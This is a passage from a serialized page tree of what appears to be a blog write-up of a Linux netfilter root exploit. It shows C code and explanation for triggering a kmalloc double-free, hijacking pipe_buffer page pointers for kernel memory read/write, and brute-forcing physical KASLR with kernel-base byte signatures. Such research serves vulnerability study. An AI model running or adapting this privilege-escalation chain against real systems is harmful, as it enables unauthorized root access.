msgsnd",{"type":24,"tag":147,"props":63650,"children":63651},{"style":235},[63652],{"type":29,"value":480},{"type":24,"tag":147,"props":63654,"children":63655},{"style":247},[63656],{"type":29,"value":63453},{"type":24,"tag":147,"props":63658,"children":63659},{"style":235},[63660],{"type":29,"value":63661},"[i], msg, ",{"type":24,"tag":147,"props":63663,"children":63664},{"style":705},[63665],{"type":29,"value":61559},{"type":24,"tag":147,"props":63667,"children":63668},{"style":241},[63669],{"type":29,"value":1791},{"type":24,"tag":147,"props":63671,"children":63672},{"style":705},[63673],{"type":29,"value":63674}," 48",{"type":24,"tag":147,"props":63676,"children":63677},{"style":235},[63678],{"type":29,"value":546},{"type":24,"tag":147,"props":63680,"children":63681},{"style":705},[63682],{"type":29,"value":3173},{"type":24,"tag":147,"props":63684,"children":63685},{"style":235},[63686],{"type":29,"value":1473},{"type":24,"tag":147,"props":63688,"children":63689},{"class":149,"line":358},[63690,63694,63698,63702,63706],{"type":24,"tag":147,"props":63691,"children":63692},{"style":247},[63693],{"type":29,"value":63622},{"type":24,"tag":147,"props":63695,"children":63696},{"style":235},[63697],{"type":29,"value":495},{"type":24,"tag":147,"props":63699,"children":63700},{"style":247},[63701],{"type":29,"value":63631},{"type":24,"tag":147,"props":63703,"children":63704},{"style":241},[63705],{"type":29,"value":651},{"type":24,"tag":147,"props":63707,"children":63708},{"style":235},[63709],{"type":29,"value":63710}," MTYPE_SECONDARY;\n",{"type":24,"tag":147,"props":63712,"children":63713},{"class":149,"line":397},[63714,63718,63722,63726,63730,63735,63739,63743,63747,63751],{"type":24,"tag":147,"props":63715,"children":63716},{"style":229},[63717],{"type":29,"value":63648},{"type":24,"tag":147,"props":63719,"children":63720},{"style":235},[63721],{"type":29,"value":480},{"type":24,"tag":147,"props":63723,"children":63724},{"style":247},[63725],{"type":29,"value":63453},{"type":24,"tag":147,"props":63727,"children":63728},{"style":235},[63729],{"type":29,"value":63661},{"type":24,"tag":147,"props":63731,"children":63732},{"style":705},[63733],{"type":29,"value":63734},"1024",{"type":24,"tag":147,"props":63736,"children":63737},{"style":241},[63738],{"type":29,"value":1791},{"type":24,"tag":147,"props":63740,"children":63741},{"style":705},[63742],{"type":29,"value":63674},{"type":24,"tag":147,"props":63744,"children":63745},{"style":235},[63746],{"type":29,"value":546},{"type":24,"tag":147,"props":63748,"children":63749},{"style":705},[63750],{"type":29,"value":3173},{"type":24,"tag":147,"props":63752,"children":63753},{"style":235},[63754],{"type":29,"value":1473},{"type":24,"tag":147,"props":63756,"children":63757},{"class":149,"line":421},[63758],{"type":24,"tag":147,"props":63759,"children":63760},{"style":235},[63761],{"type":29,"value":1952},{"type":24,"tag":147,"props":63763,"children":63764},{"class":149,"line":435},[63765],{"type":24,"tag":147,"props":63766,"children":63767},{"style":154},[63768],{"type":29,"value":63769},"    // Prepare evil msg\n",{"type":24,"tag":147,"props":63771,"children":63772},{"class":149,"line":444},[63773,63777,63782,63786,63790,63794,63798,63802],{"type":24,"tag":147,"props":63774,"children":63775},{"style":218},[63776],{"type":29,"value":4499},{"type":24,"tag":147,"props":63778,"children":63779},{"style":235},[63780],{"type":29,"value":63781}," evilqid ",{"type":24,"tag":147,"props":63783,"children":63784},{"style":241},[63785],{"type":29,"value":369},{"type":24,"tag":147,"props":63787,"children":63788},{"style":229},[63789],{"type":29,"value":63418},{"type":24,"tag":147,"props":63791,"children":63792},{"style":235},[63793],{"type":29,"value":63423},{"type":24,"tag":147,"props":63795,"children":63796},{"style":705},[63797],{"type":29,"value":63428},{"type":24,"tag":147,"props":63799,"children":63800},{"style":241},[63801],{"type":29,"value":9895},{"type":24,"tag":147,"props":63803,"children":63804},{"style":235},[63805],{"type":29,"value":63437},{"type":24,"tag":147,"props":63807,"children":63808},{"class":149,"line":452},[63809,63813,63818,63822,63826],{"type":24,"tag":147,"props":63810,"children":63811},{"style":321},[63812],{"type":29,"value":4759},{"type":24,"tag":147,"props":63814,"children":63815},{"style":235},[63816],{"type":29,"value":63817}," (evilqid ",{"type":24,"tag":147,"props":63819,"children":63820},{"style":241},[63821],{"type":29,"value":3583},{"type":24,"tag":147,"props":63823,"children":63824},{"style":705},[63825],{"type":29,"value":708},{"type":24,"tag":147,"props":63827,"children":63828},{"style":235},[63829],{"type":29,"value":269},{"type":24,"tag":147,"props":63831,"children":63832},{"class":149,"line":461},[63833],{"type":24,"tag":147,"props":63834,"children":63835},{"style":235},[63836],{"type":29,"value":3079},{"type":24,"tag":147,"props":63838,"children":63839},{"class":149,"line":469},[63840,63845,63849,63853],{"type":24,"tag":147,"props":63841,"children":63842},{"style":229},[63843],{"type":29,"value":63844},"        perror",{"type":24,"tag":147,"props":63846,"children":63847},{"style":235},[63848],{"type":29,"value":480},{"type":24,"tag":147,"props":63850,"children":63851},{"style":3534},[63852],{"type":29,"value":63493},{"type":24,"tag":147,"props":63854,"children":63855},{"style":235},[63856],{"type":29,"value":1473},{"type":24,"tag":147,"props":63858,"children":63859},{"class":149,"line":508},[63860],{"type":24,"tag":147,"props":63861,"children":63862},{"style":235},[63863],{"type":29,"value":1952},{"type":24,"tag":147,"props":63865,"children":63866},{"class":149,"line":572},[63867],{"type":24,"tag":147,"props":63868,"children":63869},{"style":235},[63870],{"type":29,"value":63871},"[...] // trigger double-free in kmalloc-256\n",{"type":24,"tag":43,"props":63873,"children":63875},{"id":63874},"using-pipe_buffer-page-pointer-for-physical-readwrite",[63876],{"type":29,"value":63877},"Using pipe_buffer->page pointer for physical read/write",{"type":24,"tag":25,"props":63879,"children":63880},{},[63881,63883,63889,63890,63896,63897,63903,63905,63911],{"type":29,"value":63882},"Now that we have increased the reach of our double-free, it's probably a good idea to go to ",{"type":24,"tag":80,"props":63884,"children":63886},{"className":63885},[],[63887],{"type":29,"value":63888},"kmalloc-1k",{"type":29,"value":855},{"type":24,"tag":80,"props":63891,"children":63893},{"className":63892},[],[63894],{"type":29,"value":63895},"overlap pipe_buffer",{"type":29,"value":27106},{"type":24,"tag":80,"props":63898,"children":63900},{"className":63899},[],[63901],{"type":29,"value":63902},"skbuf",{"type":29,"value":63904}," data to control the ",{"type":24,"tag":80,"props":63906,"children":63908},{"className":63907},[],[63909],{"type":29,"value":63910},"page",{"type":29,"value":5640},{"type":24,"tag":25,"props":63913,"children":63914},{},[63915,63916,63921,63923,63929,63931],{"type":29,"value":5094},{"type":24,"tag":80,"props":63917,"children":63919},{"className":63918},[],[63920],{"type":29,"value":63910},{"type":29,"value":63922}," field is a pointer into ",{"type":24,"tag":80,"props":63924,"children":63926},{"className":63925},[],[63927],{"type":29,"value":63928},"vmemmap_base",{"type":29,"value":63930},", which contains all page structs used to track memory mapped to the kernel. This pointer is used to fetch the address of the data associated with a given pipe when reading/writing.\n",{"type":24,"tag":63,"props":63932,"children":63934},{"alt":56176,"src":63933},"/posts/netfilter-universal-root-1-day/pipe-buffer.png",[],{"type":24,"tag":25,"props":63936,"children":63937},{},[63938,63940,63945],{"type":29,"value":63939},"This now allows us to navigate the ",{"type":24,"tag":80,"props":63941,"children":63943},{"className":63942},[],[63944],{"type":29,"value":63928},{"type":29,"value":63946}," array and use our pipe as an interface to read/write kernel memory directly.",{"type":24,"tag":43,"props":63948,"children":63950},{"id":63949},"bruteforce-physical-kernel-base",[63951],{"type":29,"value":63952},"Bruteforce physical kernel base",{"type":24,"tag":25,"props":63954,"children":63955},{},[63956,63958,63964,63966,63971,63973,63979],{"type":29,"value":63957},"With the capability to iterate over kernel memory pages and read/write them, we could easily look for any value we want to overwrite, such as ",{"type":24,"tag":80,"props":63959,"children":63961},{"className":63960},[],[63962],{"type":29,"value":63963},"modprobe_path",{"type":29,"value":63965},". Keep in mind that simply searching page by page from the start of ",{"type":24,"tag":80,"props":63967,"children":63969},{"className":63968},[],[63970],{"type":29,"value":63928},{"type":29,"value":63972}," can be very time-consuming because the physical address at which the kernel base is loaded is randomized. However, the start of the kernel base is always aligned by a constant ",{"type":24,"tag":80,"props":63974,"children":63976},{"className":63975},[],[63977],{"type":29,"value":63978},"PHYSICAL_ALIGN",{"type":29,"value":63980}," value, 0x200000 by default in amd64, so we can significantly speed up our search by first only looking at aligned addresses for something that looks like the kernel base and then start a page by page search from there.",{"type":24,"tag":137,"props":63982,"children":63984},{"className":34712,"code":63983,"language":34714,"meta":7,"style":7},"[...]\n// Bruteforce phys-KASLR\n    uint64_t kernel_base;\n    bool found = false;\n    uint8_t data[PAGE_SIZE] = {0};\n    puts(\"[*] bruteforce phys-KASLR\");\n    for (uint64_t i = 0;; i++)\n    {\n        kernel_base = 0x40 * ((PHYSICAL_ALIGN * i) >> PAGE_SHIFT);\n        pipebuf->page = vmemmap_base + kernel_base;\n        pipebuf->offset = 0;\n        pipebuf->len = PAGE_SIZE + 1;\n[...]\n        for (int j = 0; j \u003C PIPE_SPRAY; j++)\n        {\n            memset(&data, 0, PAGE_SIZE);\n            int count;\n            if (count = read(pfd[j][0], &data, PAGE_SIZE) \u003C 0)\n            {\n                continue;\n            }\n[...]\n\n            if (is_kernel_base(data)) // [1] identify kernel base\n            {\n                found = true;\n                break;\n            }\n        }\n\n[...]\n",[63985],{"type":24,"tag":80,"props":63986,"children":63987},{"__ignoreMap":7},[63988,63995,64003,64011,64035,64067,64087,64127,64134,64178,64212,64239,64275,64282,64328,64335,64365,64378,64443,64450,64462,64469,64476,64483,64509,64516,64536,64548,64555,64562,64569],{"type":24,"tag":147,"props":63989,"children":63990},{"class":149,"line":150},[63991],{"type":24,"tag":147,"props":63992,"children":63993},{"style":235},[63994],{"type":29,"value":15939},{"type":24,"tag":147,"props":63996,"children":63997},{"class":149,"line":160},[63998],{"type":24,"tag":147,"props":63999,"children":64000},{"style":235},[64001],{"type":29,"value":64002},"// Bruteforce phys-KASLR\n",{"type":24,"tag":147,"props":64004,"children":64005},{"class":149,"line":169},[64006],{"type":24,"tag":147,"props":64007,"children":64008},{"style":235},[64009],{"type":29,"value":64010},"    uint64_t kernel_base;\n",{"type":24,"tag":147,"props":64012,"children":64013},{"class":149,"line":178},[64014,64018,64023,64027,64031],{"type":24,"tag":147,"props":64015,"children":64016},{"style":218},[64017],{"type":29,"value":1085},{"type":24,"tag":147,"props":64019,"children":64020},{"style":235},[64021],{"type":29,"value":64022}," found ",{"type":24,"tag":147,"props":64024,"children":64025},{"style":241},[64026],{"type":29,"value":369},{"type":24,"tag":147,"props":64028,"children":64029},{"style":218},[64030],{"type":29,"value":14682},{"type":24,"tag":147,"props":64032,"children":64033},{"style":235},[64034],{"type":29,"value":432},{"type":24,"tag":147,"props":64036,"children":64037},{"class":149,"line":187},[64038,64042,64046,64051,64055,64059,64063],{"type":24,"tag":147,"props":64039,"children":64040},{"style":218},[64041],{"type":29,"value":1098},{"type":24,"tag":147,"props":64043,"children":64044},{"style":247},[64045],{"type":29,"value":1103},{"type":24,"tag":147,"props":64047,"children":64048},{"style":235},[64049],{"type":29,"value":64050},"[PAGE_SIZE] ",{"type":24,"tag":147,"props":64052,"children":64053},{"style":241},[64054],{"type":29,"value":369},{"type":24,"tag":147,"props":64056,"children":64057},{"style":235},[64058],{"type":29,"value":50817},{"type":24,"tag":147,"props":64060,"children":64061},{"style":705},[64062],{"type":29,"value":3173},{"type":24,"tag":147,"props":64064,"children":64065},{"style":235},[64066],{"type":29,"value":1120},{"type":24,"tag":147,"props":64068,"children":64069},{"class":149,"line":196},[64070,64074,64078,64083],{"type":24,"tag":147,"props":64071,"children":64072},{"style":229},[64073],{"type":29,"value":61095},{"type":24,"tag":147,"props":64075,"children":64076},{"style":235},[64077],{"type":29,"value":480},{"type":24,"tag":147,"props":64079,"children":64080},{"style":3534},[64081],{"type":29,"value":64082},"\"[*] bruteforce phys-KASLR\"",{"type":24,"tag":147,"props":64084,"children":64085},{"style":235},[64086],{"type":29,"value":1473},{"type":24,"tag":147,"props":64088,"children":64089},{"class":149,"line":205},[64090,64094,64098,64102,64106,64110,64114,64119,64123],{"type":24,"tag":147,"props":64091,"children":64092},{"style":321},[64093],{"type":29,"value":324},{"type":24,"tag":147,"props":64095,"children":64096},{"style":235},[64097],{"type":29,"value":408},{"type":24,"tag":147,"props":64099,"children":64100},{"style":218},[64101],{"type":29,"value":61222},{"type":24,"tag":147,"props":64103,"children":64104},{"style":235},[64105],{"type":29,"value":60133},{"type":24,"tag":147,"props":64107,"children":64108},{"style":241},[64109],{"type":29,"value":369},{"type":24,"tag":147,"props":64111,"children":64112},{"style":705},[64113],{"type":29,"value":708},{"type":24,"tag":147,"props":64115,"children":64116},{"style":235},[64117],{"type":29,"value":64118},";; i",{"type":24,"tag":147,"props":64120,"children":64121},{"style":241},[64122],{"type":29,"value":56862},{"type":24,"tag":147,"props":64124,"children":64125},{"style":235},[64126],{"type":29,"value":269},{"type":24,"tag":147,"props":64128,"children":64129},{"class":149,"line":214},[64130],{"type":24,"tag":147,"props":64131,"children":64132},{"style":235},[64133],{"type":29,"value":3079},{"type":24,"tag":147,"props":64135,"children":64136},{"class":149,"line":272},[64137,64142,64146,64151,64155,64160,64164,64169,64173],{"type":24,"tag":147,"props":64138,"children":64139},{"style":235},[64140],{"type":29,"value":64141},"        kernel_base ",{"type":24,"tag":147,"props":64143,"children":64144},{"style":241},[64145],{"type":29,"value":369},{"type":24,"tag":147,"props":64147,"children":64148},{"style":705},[64149],{"type":29,"value":64150}," 0x40",{"type":24,"tag":147,"props":64152,"children":64153},{"style":241},[64154],{"type":29,"value":1263},{"type":24,"tag":147,"props":64156,"children":64157},{"style":235},[64158],{"type":29,"value":64159}," ((PHYSICAL_ALIGN ",{"type":24,"tag":147,"props":64161,"children":64162},{"style":241},[64163],{"type":29,"value":244},{"type":24,"tag":147,"props":64165,"children":64166},{"style":235},[64167],{"type":29,"value":64168}," i) ",{"type":24,"tag":147,"props":64170,"children":64171},{"style":241},[64172],{"type":29,"value":18379},{"type":24,"tag":147,"props":64174,"children":64175},{"style":235},[64176],{"type":29,"value":64177}," PAGE_SHIFT);\n",{"type":24,"tag":147,"props":64179,"children":64180},{"class":149,"line":281},[64181,64186,64190,64194,64198,64203,64207],{"type":24,"tag":147,"props":64182,"children":64183},{"style":247},[64184],{"type":29,"value":64185},"        pipebuf",{"type":24,"tag":147,"props":64187,"children":64188},{"style":235},[64189],{"type":29,"value":495},{"type":24,"tag":147,"props":64191,"children":64192},{"style":247},[64193],{"type":29,"value":63910},{"type":24,"tag":147,"props":64195,"children":64196},{"style":241},[64197],{"type":29,"value":651},{"type":24,"tag":147,"props":64199,"children":64200},{"style":235},[64201],{"type":29,"value":64202}," vmemmap_base ",{"type":24,"tag":147,"props":64204,"children":64205},{"style":241},[64206],{"type":29,"value":624},{"type":24,"tag":147,"props":64208,"children":64209},{"style":235},[64210],{"type":29,"value":64211}," kernel_base;\n",{"type":24,"tag":147,"props":64213,"children":64214},{"class":149,"line":299},[64215,64219,64223,64227,64231,64235],{"type":24,"tag":147,"props":64216,"children":64217},{"style":247},[64218],{"type":29,"value":64185},{"type":24,"tag":147,"props":64220,"children":64221},{"style":235},[64222],{"type":29,"value":495},{"type":24,"tag":147,"props":64224,"children":64225},{"style":247},[64226],{"type":29,"value":729},{"type":24,"tag":147,"props":64228,"children":64229},{"style":241},[64230],{"type":29,"value":651},{"type":24,"tag":147,"props":64232,"children":64233},{"style":705},[64234],{"type":29,"value":708},{"type":24,"tag":147,"props":64236,"children":64237},{"style":235},[64238],{"type":29,"value":432},{"type":24,"tag":147,"props":64240,"children":64241},{"class":149,"line":308},[64242,64246,64250,64254,64258,64263,64267,64271],{"type":24,"tag":147,"props":64243,"children":64244},{"style":247},[64245],{"type":29,"value":64185},{"type":24,"tag":147,"props":64247,"children":64248},{"style":235},[64249],{"type":29,"value":495},{"type":24,"tag":147,"props":64251,"children":64252},{"style":247},[64253],{"type":29,"value":6227},{"type":24,"tag":147,"props":64255,"children":64256},{"style":241},[64257],{"type":29,"value":651},{"type":24,"tag":147,"props":64259,"children":64260},{"style":235},[64261],{"type":29,"value":64262}," PAGE_SIZE ",{"type":24,"tag":147,"props":64264,"children":64265},{"style":241},[64266],{"type":29,"value":624},{"type":24,"tag":147,"props":64268,"children":64269},{"style":705},[64270],{"type":29,"value":10147},{"type":24,"tag":147,"props":64272,"children":64273},{"style":235},[64274],{"type":29,"value":432},{"type":24,"tag":147,"props":64276,"children":64277},{"class":149,"line":317},[64278],{"type":24,"tag":147,"props":64279,"children":64280},{"style":235},[64281],{"type":29,"value":15939},{"type":24,"tag":147,"props":64283,"children":64284},{"class":149,"line":332},[64285,64290,64294,64298,64302,64306,64311,64315,64320,64324],{"type":24,"tag":147,"props":64286,"children":64287},{"style":235},[64288],{"type":29,"value":64289},"        for (",{"type":24,"tag":147,"props":64291,"children":64292},{"style":218},[64293],{"type":29,"value":1276},{"type":24,"tag":147,"props":64295,"children":64296},{"style":247},[64297],{"type":29,"value":14248},{"type":24,"tag":147,"props":64299,"children":64300},{"style":241},[64301],{"type":29,"value":651},{"type":24,"tag":147,"props":64303,"children":64304},{"style":705},[64305],{"type":29,"value":708},{"type":24,"tag":147,"props":64307,"children":64308},{"style":235},[64309],{"type":29,"value":64310},"; j ",{"type":24,"tag":147,"props":64312,"children":64313},{"style":241},[64314],{"type":29,"value":3583},{"type":24,"tag":147,"props":64316,"children":64317},{"style":235},[64318],{"type":29,"value":64319}," PIPE_SPRAY; j",{"type":24,"tag":147,"props":64321,"children":64322},{"style":241},[64323],{"type":29,"value":56862},{"type":24,"tag":147,"props":64325,"children":64326},{"style":235},[64327],{"type":29,"value":269},{"type":24,"tag":147,"props":64329,"children":64330},{"class":149,"line":350},[64331],{"type":24,"tag":147,"props":64332,"children":64333},{"style":235},[64334],{"type":29,"value":37259},{"type":24,"tag":147,"props":64336,"children":64337},{"class":149,"line":358},[64338,64343,64347,64351,64356,64360],{"type":24,"tag":147,"props":64339,"children":64340},{"style":229},[64341],{"type":29,"value":64342},"            memset",{"type":24,"tag":147,"props":64344,"children":64345},{"style":235},[64346],{"type":29,"value":480},{"type":24,"tag":147,"props":64348,"children":64349},{"style":241},[64350],{"type":29,"value":485},{"type":24,"tag":147,"props":64352,"children":64353},{"style":235},[64354],{"type":29,"value":64355},"data, ",{"type":24,"tag":147,"props":64357,"children":64358},{"style":705},[64359],{"type":29,"value":3173},{"type":24,"tag":147,"props":64361,"children":64362},{"style":235},[64363],{"type":29,"value":64364},", PAGE_SIZE);\n",{"type":24,"tag":147,"props":64366,"children":64367},{"class":149,"line":397},[64368,64373],{"type":24,"tag":147,"props":64369,"children":64370},{"style":218},[64371],{"type":29,"value":64372},"            int",{"type":24,"tag":147,"props":64374,"children":64375},{"style":235},[64376],{"type":29,"value":64377}," count;\n",{"type":24,"tag":147,"props":64379,"children":64380},{"class":149,"line":421},[64381,64386,64391,64395,64400,64404,64409,64414,64418,64422,64426,64431,64435,64439],{"type":24,"tag":147,"props":64382,"children":64383},{"style":321},[64384],{"type":29,"value":64385},"            if",{"type":24,"tag":147,"props":64387,"children":64388},{"style":235},[64389],{"type":29,"value":64390}," (count ",{"type":24,"tag":147,"props":64392,"children":64393},{"style":241},[64394],{"type":29,"value":369},{"type":24,"tag":147,"props":64396,"children":64397},{"style":229},[64398],{"type":29,"value":64399}," read",{"type":24,"tag":147,"props":64401,"children":64402},{"style":235},[64403],{"type":29,"value":480},{"type":24,"tag":147,"props":64405,"children":64406},{"style":247},[64407],{"type":29,"value":64408},"pfd",{"type":24,"tag":147,"props":64410,"children":64411},{"style":235},[64412],{"type":29,"value":64413},"[j][",{"type":24,"tag":147,"props":64415,"children":64416},{"style":705},[64417],{"type":29,"value":3173},{"type":24,"tag":147,"props":64419,"children":64420},{"style":235},[64421],{"type":29,"value":28662},{"type":24,"tag":147,"props":64423,"children":64424},{"style":241},[64425],{"type":29,"value":485},{"type":24,"tag":147,"props":64427,"children":64428},{"style":235},[64429],{"type":29,"value":64430},"data, PAGE_SIZE) ",{"type":24,"tag":147,"props":64432,"children":64433},{"style":241},[64434],{"type":29,"value":3583},{"type":24,"tag":147,"props":64436,"children":64437},{"style":705},[64438],{"type":29,"value":708},{"type":24,"tag":147,"props":64440,"children":64441},{"style":235},[64442],{"type":29,"value":269},{"type":24,"tag":147,"props":64444,"children":64445},{"class":149,"line":435},[64446],{"type":24,"tag":147,"props":64447,"children":64448},{"style":235},[64449],{"type":29,"value":37295},{"type":24,"tag":147,"props":64451,"children":64452},{"class":149,"line":444},[64453,64458],{"type":24,"tag":147,"props":64454,"children":64455},{"style":321},[64456],{"type":29,"value":64457},"                continue",{"type":24,"tag":147,"props":64459,"children":64460},{"style":235},[64461],{"type":29,"value":432},{"type":24,"tag":147,"props":64463,"children":64464},{"class":149,"line":452},[64465],{"type":24,"tag":147,"props":64466,"children":64467},{"style":235},[64468],{"type":29,"value":1935},{"type":24,"tag":147,"props":64470,"children":64471},{"class":149,"line":461},[64472],{"type":24,"tag":147,"props":64473,"children":64474},{"style":235},[64475],{"type":29,"value":15939},{"type":24,"tag":147,"props":64477,"children":64478},{"class":149,"line":469},[64479],{"type":24,"tag":147,"props":64480,"children":64481},{"emptyLinePlaceholder":16},[64482],{"type":29,"value":314},{"type":24,"tag":147,"props":64484,"children":64485},{"class":149,"line":508},[64486,64491,64496,64500,64504],{"type":24,"tag":147,"props":64487,"children":64488},{"style":235},[64489],{"type":29,"value":64490},"            if (",{"type":24,"tag":147,"props":64492,"children":64493},{"style":9044},[64494],{"type":29,"value":64495},"is_kernel_base",{"type":24,"tag":147,"props":64497,"children":64498},{"style":235},[64499],{"type":29,"value":480},{"type":24,"tag":147,"props":64501,"children":64502},{"style":9044},[64503],{"type":29,"value":1139},{"type":24,"tag":147,"props":64505,"children":64506},{"style":235},[64507],{"type":29,"value":64508},")) // [1] identify kernel base\n",{"type":24,"tag":147,"props":64510,"children":64511},{"class":149,"line":572},[64512],{"type":24,"tag":147,"props":64513,"children":64514},{"style":235},[64515],{"type":29,"value":37295},{"type":24,"tag":147,"props":64517,"children":64518},{"class":149,"line":591},[64519,64524,64528,64532],{"type":24,"tag":147,"props":64520,"children":64521},{"style":235},[64522],{"type":29,"value":64523},"                found ",{"type":24,"tag":147,"props":64525,"children":64526},{"style":241},[64527],{"type":29,"value":369},{"type":24,"tag":147,"props":64529,"children":64530},{"style":218},[64531],{"type":29,"value":18087},{"type":24,"tag":147,"props":64533,"children":64534},{"style":235},[64535],{"type":29,"value":432},{"type":24,"tag":147,"props":64537,"children":64538},{"class":149,"line":632},[64539,64544],{"type":24,"tag":147,"props":64540,"children":64541},{"style":321},[64542],{"type":29,"value":64543},"                break",{"type":24,"tag":147,"props":64545,"children":64546},{"style":235},[64547],{"type":29,"value":432},{"type":24,"tag":147,"props":64549,"children":64550},{"class":149,"line":659},[64551],{"type":24,"tag":147,"props":64552,"children":64553},{"style":235},[64554],{"type":29,"value":1935},{"type":24,"tag":147,"props":64556,"children":64557},{"class":149,"line":684},[64558],{"type":24,"tag":147,"props":64559,"children":64560},{"style":235},[64561],{"type":29,"value":441},{"type":24,"tag":147,"props":64563,"children":64564},{"class":149,"line":715},[64565],{"type":24,"tag":147,"props":64566,"children":64567},{"emptyLinePlaceholder":16},[64568],{"type":29,"value":314},{"type":24,"tag":147,"props":64570,"children":64571},{"class":149,"line":744},[64572],{"type":24,"tag":147,"props":64573,"children":64574},{"style":235},[64575],{"type":29,"value":15939},{"type":24,"tag":25,"props":64577,"children":64578},{},[64579,64581,64585,64587,64593,64595,64599],{"type":29,"value":64580},"Notice that at ",{"type":24,"tag":147,"props":64582,"children":64583},{},[64584],{"type":29,"value":1154},{"type":29,"value":64586}," we call the ",{"type":24,"tag":80,"props":64588,"children":64590},{"className":64589},[],[64591],{"type":29,"value":64592},"is_kernel_base()",{"type":29,"value":64594}," function. This is a function based on lau's exploit ",{"type":24,"tag":147,"props":64596,"children":64597},{},[64598],{"type":29,"value":23715},{"type":29,"value":64600}," that basically matches for multiple byte patterns that may exist at the kernel base page across different builds, to maximize compatibility.",{"type":24,"tag":137,"props":64602,"children":64604},{"className":34712,"code":64603,"language":34714,"meta":7,"style":7},"[...]\nstatic bool is_kernel_base(unsigned char *addr)\n{\n    // thanks lau :)\n\n    // get-sig kernel_runtime_1\n    if (memcmp(addr + 0x0, \"\\x48\\x8d\\x25\\x51\\x3f\", 5) == 0 &&\n        memcmp(addr + 0x7, \"\\x48\\x8d\\x3d\\xf2\\xff\\xff\\xff\", 7) == 0)\n        return true;\n\n    // get-sig kernel_runtime_2\n    if (memcmp(addr + 0x0, \"\\xfc\\x0f\\x01\\x15\", 4) == 0 &&\n        memcmp(addr + 0x8, \"\\xb8\\x10\\x00\\x00\\x00\\x8e\\xd8\\x8e\\xc0\\x8e\\xd0\\xbf\", 12) == 0 &&\n        memcmp(addr + 0x18, \"\\x89\\xde\\x8b\\x0d\", 4) == 0 &&\n        memcmp(addr + 0x20, \"\\xc1\\xe9\\x02\\xf3\\xa5\\xbc\", 6) == 0 &&\n        memcmp(addr + 0x2a, \"\\x0f\\x20\\xe0\\x83\\xc8\\x20\\x0f\\x22\\xe0\\xb9\\x80\\x00\\x00\\xc0\\x0f\\x32\\x0f\\xba\\xe8\\x08\\x0f\\x30\\xb8\\x00\", 24) == 0 &&\n        memcmp(addr + 0x45, \"\\x0f\\x22\\xd8\\xb8\\x01\\x00\\x00\\x80\\x0f\\x22\\xc0\\xea\\x57\\x00\\x00\", 15) == 0 &&\n        memcmp(addr + 0x55, \"\\x08\\x00\\xb9\\x01\\x01\\x00\\xc0\\xb8\", 8) == 0 &&\n        memcmp(addr + 0x61, \"\\x31\\xd2\\x0f\\x30\\xe8\", 5) == 0 &&\n        memcmp(addr + 0x6a, \"\\x48\\xc7\\xc6\", 3) == 0 &&\n        memcmp(addr + 0x71, \"\\x48\\xc7\\xc0\\x80\\x00\\x00\", 6) == 0 &&\n        memcmp(addr + 0x78, \"\\xff\\xe0\", 2) == 0)\n        return true;\n\n    return false;\n}\n[...]\n",[64605],{"type":24,"tag":80,"props":64606,"children":64607},{"__ignoreMap":7},[64608,64615,64645,64652,64660,64667,64675,64746,64808,64823,64830,64838,64906,64968,65029,65090,65152,65214,65275,65336,65397,65458,65519,65534,65541,65556,65563],{"type":24,"tag":147,"props":64609,"children":64610},{"class":149,"line":150},[64611],{"type":24,"tag":147,"props":64612,"children":64613},{"style":235},[64614],{"type":29,"value":15939},{"type":24,"tag":147,"props":64616,"children":64617},{"class":149,"line":160},[64618,64623,64628,64633,64637,64641],{"type":24,"tag":147,"props":64619,"children":64620},{"style":235},[64621],{"type":29,"value":64622},"static bool is_kernel_base(",{"type":24,"tag":147,"props":64624,"children":64625},{"style":218},[64626],{"type":29,"value":64627},"unsigned",{"type":24,"tag":147,"props":64629,"children":64630},{"style":218},[64631],{"type":29,"value":64632}," char",{"type":24,"tag":147,"props":64634,"children":64635},{"style":218},[64636],{"type":29,"value":1263},{"type":24,"tag":147,"props":64638,"children":64639},{"style":247},[64640],{"type":29,"value":36288},{"type":24,"tag":147,"props":64642,"children":64643},{"style":235},[64644],{"type":29,"value":269},{"type":24,"tag":147,"props":64646,"children":64647},{"class":149,"line":169},[64648],{"type":24,"tag":147,"props":64649,"children":64650},{"style":235},[64651],{"type":29,"value":278},{"type":24,"tag":147,"props":64653,"children":64654},{"class":149,"line":178},[64655],{"type":24,"tag":147,"props":64656,"children":64657},{"style":154},[64658],{"type":29,"value":64659},"    // thanks lau :)\n",{"type":24,"tag":147,"props":64661,"children":64662},{"class":149,"line":187},[64663],{"type":24,"tag":147,"props":64664,"children":64665},{"emptyLinePlaceholder":16},[64666],{"type":29,"value":314},{"type":24,"tag":147,"props":64668,"children":64669},{"class":149,"line":196},[64670],{"type":24,"tag":147,"props":64671,"children":64672},{"style":154},[64673],{"type":29,"value":64674},"    // get-sig kernel_runtime_1\n",{"type":24,"tag":147,"props":64676,"children":64677},{"class":149,"line":205},[64678,64682,64686,64691,64696,64700,64705,64709,64713,64718,64722,64726,64730,64734,64738,64742],{"type":24,"tag":147,"props":64679,"children":64680},{"style":321},[64681],{"type":29,"value":4759},{"type":24,"tag":147,"props":64683,"children":64684},{"style":235},[64685],{"type":29,"value":408},{"type":24,"tag":147,"props":64687,"children":64688},{"style":229},[64689],{"type":29,"value":64690},"memcmp",{"type":24,"tag":147,"props":64692,"children":64693},{"style":235},[64694],{"type":29,"value":64695},"(addr ",{"type":24,"tag":147,"props":64697,"children":64698},{"style":241},[64699],{"type":29,"value":624},{"type":24,"tag":147,"props":64701,"children":64702},{"style":705},[64703],{"type":29,"value":64704}," 0x0",{"type":24,"tag":147,"props":64706,"children":64707},{"style":235},[64708],{"type":29,"value":546},{"type":24,"tag":147,"props":64710,"children":64711},{"style":3534},[64712],{"type":29,"value":25663},{"type":24,"tag":147,"props":64714,"children":64715},{"style":53972},[64716],{"type":29,"value":64717},"\\x48\\x8d\\x25\\x51\\x3f",{"type":24,"tag":147,"props":64719,"children":64720},{"style":3534},[64721],{"type":29,"value":25663},{"type":24,"tag":147,"props":64723,"children":64724},{"style":235},[64725],{"type":29,"value":546},{"type":24,"tag":147,"props":64727,"children":64728},{"style":705},[64729],{"type":29,"value":23715},{"type":24,"tag":147,"props":64731,"children":64732},{"style":235},[64733],{"type":29,"value":564},{"type":24,"tag":147,"props":64735,"children":64736},{"style":241},[64737],{"type":29,"value":6600},{"type":24,"tag":147,"props":64739,"children":64740},{"style":705},[64741],{"type":29,"value":708},{"type":24,"tag":147,"props":64743,"children":64744},{"style":241},[64745],{"type":29,"value":58274},{"type":24,"tag":147,"props":64747,"children":64748},{"class":149,"line":214},[64749,64754,64758,64762,64767,64771,64775,64780,64784,64788,64792,64796,64800,64804],{"type":24,"tag":147,"props":64750,"children":64751},{"style":229},[64752],{"type":29,"